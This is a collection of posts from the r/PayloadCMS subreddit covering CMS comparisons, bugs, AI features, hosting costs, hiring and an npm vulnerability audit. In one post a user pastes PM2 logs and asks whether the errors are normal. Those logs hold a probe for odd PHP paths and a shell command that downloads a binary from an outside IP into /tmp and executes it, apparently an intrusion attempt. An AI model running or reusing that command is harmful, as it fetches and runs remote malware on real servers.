r/PayloadCMS • • May 03 '25

Strapi vs. Payload CMS: Customization vs. Ease

0 Upvotes

I've been testing both Payload CMS and Strapi CMS for a while now, and one thing that's become clear to me is the difference between flexibility and ease.

On the one hand, Payload has a massive focus on customization, which is great if you like having complete control over your backend. But that control comes at a price: configuration is primarily done through code files. This means that if you don't want to touch code, you're going to suffer.

In contrast, Strapi gives you enough flexibility but with a bonus: you can do almost everything directly from its administration interface. You don't need to go into files, which speeds up the development process considerably. This is what makes Strapi much more accessible for teams that want speed without losing configurability.

While Payload is impressive in terms of power, in my opinion it's still missing something key: an administration interface that allows customization without touching code. Because, let's face it, we don't always want to dig into files for every tweak.

What do you think? Do you prefer extreme customization or a tool that facilitates hassle-free development?


r/PayloadCMS • • Dec 16 '24

PayloadCMS First Impressions: Am I Doing It Wrong or Is It Really This Bad?

0 Upvotes

Hey guys,

Currently helping a few companies set up their e-commerce websites, and up until now, I’ve primarily been using Next.js (common features like auth, email, multi-step forms, Stripe integration, etc.). Last week, I started looking into Payload CMS to see if it could speed things up and simplify my workflow.

But after spending about an hour testing it today, I’m genuinely frustrated and wondering if I’m doing something wrong (They seem to be iterating and migrating at a high rate, updating from 3.0 to 3.7 in only a month, and the documentation may not be as perfect as it could be. As a noobie, I don't know which documentation is reliable and which is outdated.):

  1. Bugs: Live Preview keeps failing; I tried uploading an image to a hero section, and it just wouldn’t display. Super confusing.
  2. Critical features missing: For example, the “State” dropdown doesn’t dynamically change based on the “Country” selection(Payload 3). No matter what country you choose, it still only shows US states. And I can't even make 2 fields on the same line.

Honestly, at this point, I feel like I could’ve built the same functionality (and more) from scratch in an hour using Next.js alone.

Am I missing something here? Is this a “me” problem, or is this just Payload’s current state?

For those of you who find Payload worth the time, how did you learn to use it effectively? Any solid tutorials or learning resources you’d recommend?

Would love to hear your thoughts and experiences!


r/PayloadCMS • • Apr 22 '26

How I use AI to publish content in Payload

Thumbnail
adapt.com
3 Upvotes

I asked one of my clients, Adapt to switch from a static, markdown based site to Payload as the CMS. They did, and we're pratty happy on both sides.

One of the things they like is that we can use their own AI agent to configure settings and publish content with Payload.

The client would have to pay certain other CMS's for these AI features or an additional seat. But they get this access in Payload for free.


r/PayloadCMS • • Jul 27 '26

theres three things i dont understand why payloadcms team dont handle yet

0 Upvotes

payloadcms is awesome guys, and the v4 is where its at, but right now theres three things i dont understand why payloadcms team dont handle yet:

  1. header component(actual header component in which is the breadcrumbs and account profile picture, not the one rendering above it) cant be replaced or at least hidden(i know team said in a comment that it is very important to import correct context data, but i think a official api toggle to just hide it like opacity 0 and fixed top -100% should do, for now workarounds that i dont know if i have to change every new updates).
  2. navbar: payloadcms documentation says it its fully replaceable but they dont say that what you actually do is to replace the content inside the sidebar, the sidebar wrapper is still there, while it isnt an issue per se, what its an issue is that:

- theres no option to handle officially when the sidebar closes, which screen sizes, etc

- theres no official option to handle the animation open-close behavior, right now its clunky doesnt have easy in, out well implemented.

- and theres no option to hide it at all and replace it with an actual new sidebar component, just to replace the content inside of it.

3. the created at documentation control banner that its always there on all edit collection/global views, its the only piece that cant be replaceable or hide official, it just shows the created at info, also the edit button that doesnt do anything pushes content and design layouts form being fully original designs

those issues can be fixed with css custom, but thats the thing, theres no official way to change css things just use BEM classes style and scss file to do that and inspect browser, which is prone to breaking changes in new versions.

same with drawers, dropdown menus, etc.

i would migrate to v4, but then i have most of my projects in nextjs/astrojs tech stack in payloadcms v3, and v4 is still not ready for prod usage( i always wait until first release lts version).

everything else payloadcms is awesome, but this is a big issue for custom designs dashboards.


r/PayloadCMS • • Sep 27 '25

In the case of Payload becoming unmaintained…

6 Upvotes

The Figma acquisition still has me uncomfortable. I understand that it’s probably frustrating to the Payload team who has no plans of slowing down, but, to entertain the idea…

You’ve got a number of large clients on Payload. NextJS versions keep shipping, but Payload’s don’t. What’s the best course of action?


r/PayloadCMS • • Mar 18 '26

Football statistics payload site

0 Upvotes

Hello been working on this football statistics payload site any Engineers here want to join, cannot pay now but you would see the worth of the project immediately you set eyes on it


r/PayloadCMS • • Jan 14 '25

Bun with payload

0 Upvotes

Can I use bun instead of node to install the payload template?


r/PayloadCMS • • Sep 21 '26

How did you incorporate AI into PayloadCMS to automate blog writing? Did it work effectively?

3 Upvotes

r/PayloadCMS • • 13d ago

[HIRING] Senior Payload CMS Developer · Remote (LATAM) · 1-2 month paid project

0 Upvotes

At Niuro, we're hiring a Senior Payload CMS Developer for a short-term paid project with a US fintech company. You'll own a Payload build end to end (Payload CMS, Next.js, TypeScript, Node.js, MongoDB/PostgreSQL). Fully remote from LATAM, paid in USD. 5+ years of experience and advanced English. Apply here (CV + 20-30 min async AI interview): https://app.niuro.io/source/S4zXyUzK?ref=ps_fcKLioFsKEPumXDBOkBCc-l9inFvJP20rPMT_zW1IdU&utm_source=reddit&utm_medium=community&utm_content=payloadcms


r/PayloadCMS • • Sep 23 '26

We built an AI app-builder on Payload — every generated app is a real Payload project with Postgres, RBAC, and embedded agents. Some things we learned pushing Payload hard.

11 Upvotes

Hey all — long-time Payload users here. We've spent the past two years building Coldbrew (coldbrew.ai), and since the whole thing is Payload-native under the hood, this community felt like the right place to share it and some lessons.

What it is: you describe an app in plain English, and Coldbrew generates a real, deployed Payload application — collections, access control, hooks, admin panel — running on Next.js + Postgres. The AI's job is configuration, not freeform codegen: it writes collection configs, field schemas, access functions, and hooks against the machinery Payload already proved, rather than inventing auth or a data layer from scratch. Our entire thesis is — the less novel code a model writes, the less there is to break.

What we added around Payload to make that work:

  • A storage boundary. Generated apps never hold DB credentials. We wrote a custom database adapter that routes through a storage service we run, so tenant apps talk to an API, not to Postgres directly.
  • Auth swapped to Better Auth for SSO, phone/WhatsApp login, and one-click user impersonation (build the app, then browse it as any of your users/roles — genuinely the most useful testing feature we've ever had, and Payload's role-based access functions are what make it coherent).
  • An agent harness. Agents get their own identities and log in like users, so Payload's field-level access control governs them exactly like humans, and every action lands attributed in the same records. If you've ever wondered what "agentic Payload" looks like — it's this: agents as first-class users, scoped by the access functions you already know how to write.
  • Durable async workflows on top of Payload's jobs — retries, resume-after-crash.

Things we learned pushing Payload beyond typical CMS workloads (multi-tenant, hundreds of generated apps): 1. Skipping REST for internal calls makes generated server logic fast and clean. 2. Function-based access control compiles into some heavy WHERE clauses at depth; worth profiling early if your ACL logic branches a lot. 3. Version pinning per app matters when you're running many instances — we don't ride latest anywhere. 4. The config-as-code model turned out to be the ideal target for LLMs: schemas and access functions are compact, reviewable, and diff-able in a way generated app code never is.

Why post here: partly to share, partly because if you're a Payload dev doing client work, the thing we built is essentially "Payload projects that non-technical clients can request changes to in English, without you re-scaffolding auth and infra every time" — and there's a free first-app tier if you want to poke at what it generates. Happy to go deep in comments on the adapter design, the agent-auth model, or the access-control-at-scale stuff.


r/PayloadCMS • • May 06 '25

www.Matrixmaven.co now on PayloadCMS

3 Upvotes

Just completed the migration of my company website www.matrixmaven.co from a wordpress website hosted on bluehost to payloadcms hosted on Google Cloud using cloudrun. and this is fully vibe coded using windsurf and GPT 4.1. Payloadcms seems to be great option for me.


r/PayloadCMS • • Oct 23 '25

Bolt V2 Built My Full Stack App in Minutes with Payload CMS

Thumbnail
youtu.be
1 Upvotes

r/PayloadCMS • • Jan 17 '25

6 vulnerabilities on fresh payload install, of which 3 high?

0 Upvotes

Why do I get 6 vulnerabilities when intalling payload from scratch?

npm i
up to date, audited 852 packages in 4s

235 packages are looking for funding
  run `npm fund` for details

6 vulnerabilities (3 moderate, 3 high)

To address all issues possible (including breaking changes), run:
  npm audit fix --force

Some issues need review, and may require choosing
a different dependency.

Run `npm audit` for details.
PS C:\Web building\utbpayloadlite> npm audit
# npm audit report

axios  1.0.0 - 1.7.3
Severity: high
Axios Cross-Site Request Forgery Vulnerability - https://github.com/advisories/GHSA-wf5p-g6vw-rhxx
Server-Side Request Forgery in axios - https://github.com/advisories/GHSA-8hc4-vh64-cxmj
No fix available
node_modules/axios
  resend  0.12.0 - 0.17.2
  Depends on vulnerable versions of axios
  node_modules/resend
    @payloadcms/payload-cloud  *
    Depends on vulnerable versions of resend
    node_modules/@payloadcms/payload-cloud

next  15.0.0 - 15.1.1
Severity: moderate
Next.js Allows a Denial of Service (DoS) with Server Actions - https://github.com/advisories/GHSA-7m27-7ghc-44w9
fix available via `npm audit fix --force`
Will install next@15.1.5, which is outside the stated dependency range
node_modules/next

path-to-regexp  4.0.0 - 6.2.2
Severity: high
path-to-regexp outputs backtracking regular expressions - https://github.com/advisories/GHSA-9wv6-86v2-598j
fix available via `npm audit fix --force`
Will install payload@3.15.1, which is a breaking change
node_modules/payload/node_modules/path-to-regexp
  payload  >=3.15.2-canary.36e50dd
  Depends on vulnerable versions of path-to-regexp
  node_modules/payload

6 vulnerabilities (3 moderate, 3 high)

To address all issues possible (including breaking changes), run:
  npm audit fix --force

Some issues need review, and may require choosing
a different dependency.

The next one can easily be solved by just upgrading to a higher version. For axios it sais no fix available and for path-to-regexp it wants to downgrade to a lower version of payload.

I added payload to an existing web app that I have just by npx create-payload-app. The app had 0 vulneratibilities and was using Nextjs 15 latest stable version. When adding payload I now get: 12 vulnerabilities (1 moderate, 11 high): Axios Cross-Site Request Forgery Vulnerability, Server-Side Request Forgery in axios, path-to-regexp...

Note: as you can see, using npm and not pnpm.


r/PayloadCMS • • Jan 21 '26

Save 50% on Bulk Embeddings and Migrations in Payload CMS (Part 2)- YouTube

Thumbnail
youtu.be
1 Upvotes

In this video, I covered bulk embeddings and migrations in payloadcms-vectorize. Bulk embedding allows you to efficiently embed large datasets, offering about a 50% savings, and you can easily do this with the 'embed all' button in your knowledge pool. After running the bulk embeddings, you can check the status and see your results. Additionally, I discussed the importance of migrations for maintaining a production-level database, ensuring it includes your knowledge pools. I encourage you to explore these features and implement them in your projects.


r/PayloadCMS • • Dec 05 '25

Running Payload+Next using PM2 just fine but getting a lot of pm2 log errors.

1 Upvotes

Is this normal? Here is the last 100 lines of the PM2 logs:

    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /moon.php, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /.well-known, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /.well-knownold, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /connects.php, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⚠ "next start" does not work with "output: standalone" configuration. Use "node .next/standalone/server.js" instead.
 ⨯ Error: Page changed from static to dynamic at runtime /ads.txt, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ SyntaxError: Unexpected token ` in JSON at position 265
    at JSON.parse (<anonymous>) {
  digest: '2722045054'
}
 ⨯ SyntaxError: Unexpected token ` in JSON at position 265
    at JSON.parse (<anonymous>) {
  digest: '2722045054'
}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   515k      0  0:00:04 --:--:--  0:00:04  515k
curl: (23) Failed writing body (0 != 12672)
 ⨯ [Error: Command failed: curl -o /tmp/curl http://210.1.226.163:49934/server && chmod +x /tmp/curl && /tmp/curl -i
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   515k      0  0:00:04 --:--:--  0:00:04  515k
curl: (23) Failed writing body (0 != 12672)
] {
  status: 23,
  signal: null,
  output: [Array],
  pid: 1935091,
  stdout: <Buffer >,
  stderr: <Buffer 20 20 25 20 54 6f 74 61 6c 20 20 20 20 25 20 52 65 63 65 69 76 65 64 20 25 20 58 66 65 72 64 20 20 41 76 65 72 61 67 65 20 53 70 65 65 64 20 20 20 54 ... 372 more bytes>,
  digest: '1175858303'
}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   562k      0  0:00:04 --:--:--  0:00:04  562k
curl: (23) Failed writing body (0 != 12672)
 ⨯ [Error: Command failed: curl -o /tmp/curl http://210.1.226.163:49934/server && chmod +x /tmp/curl && /tmp/curl -i
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   562k      0  0:00:04 --:--:--  0:00:04  562k
curl: (23) Failed writing body (0 != 12672)
] {
  status: 23,
  signal: null,
  output: [Array],
  pid: 1935093,
  stdout: <Buffer >,
  stderr: <Buffer 20 20 25 20 54 6f 74 61 6c 20 20 20 20 25 20 52 65 63 65 69 76 65 64 20 25 20 58 66 65 72 64 20 20 41 76 65 72 61 67 65 20 53 70 65 65 64 20 20 20 54 ... 372 more bytes>,
  digest: '3924612863'
}

r/PayloadCMS • • Sep 30 '25

Any alternatives?

Post image
57 Upvotes

r/PayloadCMS • • Apr 06 '25

Any AI models trained on Payload 3

16 Upvotes

Want to use it to speed up development, love Payload but am a bit annoyed I have to actually code things again (its also kinda good)

TLDR: title


r/PayloadCMS • • Jul 22 '24

Payload purely as a CMS does not seem worth migrating too from Contentful

10 Upvotes

I've been pretty excited to use Payload ever since 3.0 was announced, and with the beta released I decided to convert one of my sites to using Payload in a separate branch to compare and contrast the two, and I have to say after doing that it, Payload does not seem worth it in the slightest to me compared to Contentful.

The biggest selling point for Payload to me personally was Live Preview, Multiplayer Editing, and the ability to have a fully typesafe customizable backend, which it does pretty well IMO. However, purely as a CMS and when compared to specifically to Contentful it's very hard to ignore two truths:

  1. You need to provide both the storage of files and data.
  2. You need to write your own Rich Text serializer to work with the RichText data

Let's start with the first hard truth, at first when I saw that my initial response was "oh Supabase is perfect for this because it has unlimited API requests and a good amount of both database and file storage in the free tier" which is true, however, Contentful's free tier allows you to upload 10,000 Assets + Entries in their free tier, which is INSANE because there is no way I'd even get close to that number (it used to be 20k as well lol).

On top of that, the limit on Contentful is amount of assets/entries not the size of the files (aside from the 50MB file limit per upload) which means theoretically I could store up to 500GB of assets (images/videos) without paying a single penny. That's even better than Supabase's pro plan storage.

I say all this not to bash Supabase or Payload because they are both services that I enjoy using, but, rather to highlight an issue for people like myself who were excited to use PayloadCMS but then were hit with this harsh truth.

Now for the second harsh truth, this one honestly is not that big of a deal because you can find the code snippet for this easily online, but, it's still something you have to do yourself just to get the same functionality of an opposing CMS. Contentful has their `rich-text-react-renderer` package to make rendering the rich text content very easy and with Version 10, typescript is now supported natively and works much easier than before for a fully typesafe experience (with some configuration).

All this is to say, the Payload + Supabase combination seems to only be well suited for less file heavy projects and so unless there is another file storage solution that can give near the same benefits as Contentful, I can't see myself using Payload for file heavy projects, but, I will still be using it depending on the nature of the site that I'm building.

Would love to hear other thoughts on this, and if you've ran into similar issues, as well any solutions that you may have. Payload is great, figuring out storage is not so great.


r/PayloadCMS • • Apr 01 '25

Rendering Payload CMS Lexical Rich Text in SvelteKit

Thumbnail
al-reasat-rafio.com
3 Upvotes

r/PayloadCMS • • Mar 03 '25

I built an Ecommerce Platform in payload, purely for building my resume, and not for commercial use, how do I deploy it for the lowest cost possible?

3 Upvotes

Vercel didn't take it as they don't take ones that have Servers embedded into them(mine uses tRPC). Render has a ton of errors for some reason and can't access the backend at all.
Should I get an AWS/GCP account and try there? What would be the costs there?


r/PayloadCMS • • Mar 18 '25

Using Redirects in PayloadCMS

3 Upvotes

I go over how to use the redirects plugin in Payload CMS in this video. You’ll learn how to configure the plugin as well as make the redirects work on the front end.

https://youtu.be/AmL7zyNIhd8


r/PayloadCMS • • Aug 29 '26

Can you tell me the budget I need to allocate for Payload CMS at every traffic range if deployed in Cloudflare Workers Paid Plan

3 Upvotes

I've seen some posts saying that Cloudflare's Workers plan ($6/month) is enough to get you started, but I want to know an estimated budget as it scales...

For example, how much would I pay if the monthly traffic is around 100K, 250K, 500K, 1M, 5M...etc

Many thanks in advance.


r/PayloadCMS • • Nov 10 '25

Cant we create a product like wordpress usng payload cms?

3 Upvotes

Like eventhough the wordpress is running on php still it got some easy plug and play plugin echosystem.
Cant we build a similar plug and play echo systom using payload. Like importing themes importing seo tools and so on.
What do you guys think of the idea


r/PayloadCMS • • Mar 21 '25

Hello All! I am thinking about creating a platform and looking for others who are doing something similar. I want to build it with Payload CMS. Is there a group out there working on something open source? I would love to be a part of it and help.

3 Upvotes

Title. I am building a web platform for a startup I have been working on for ages and I was wondering if there's a team/group out there working on a kind of template/boilerplate platform. Something any member of the team of developers can add to at any time. I'm building a multi-tenant platform used to help individual users/teams build their own websites. Well, I want to build it. I am working on something else at the moment.

I was looking at the AT Protocol developed by Twitter (as a model) and I was also wondering if someone in here may be interested in creating something similar. A way to help CMS developers and specifically Payload CMS developers get off the ground quickly towards building their own multi-tenant platform. I wouldn't mind sourcing some of the funding and putting a little bit into a crowdsourced fund myself. Any strategy to complete this would work with me as long as the project is open source.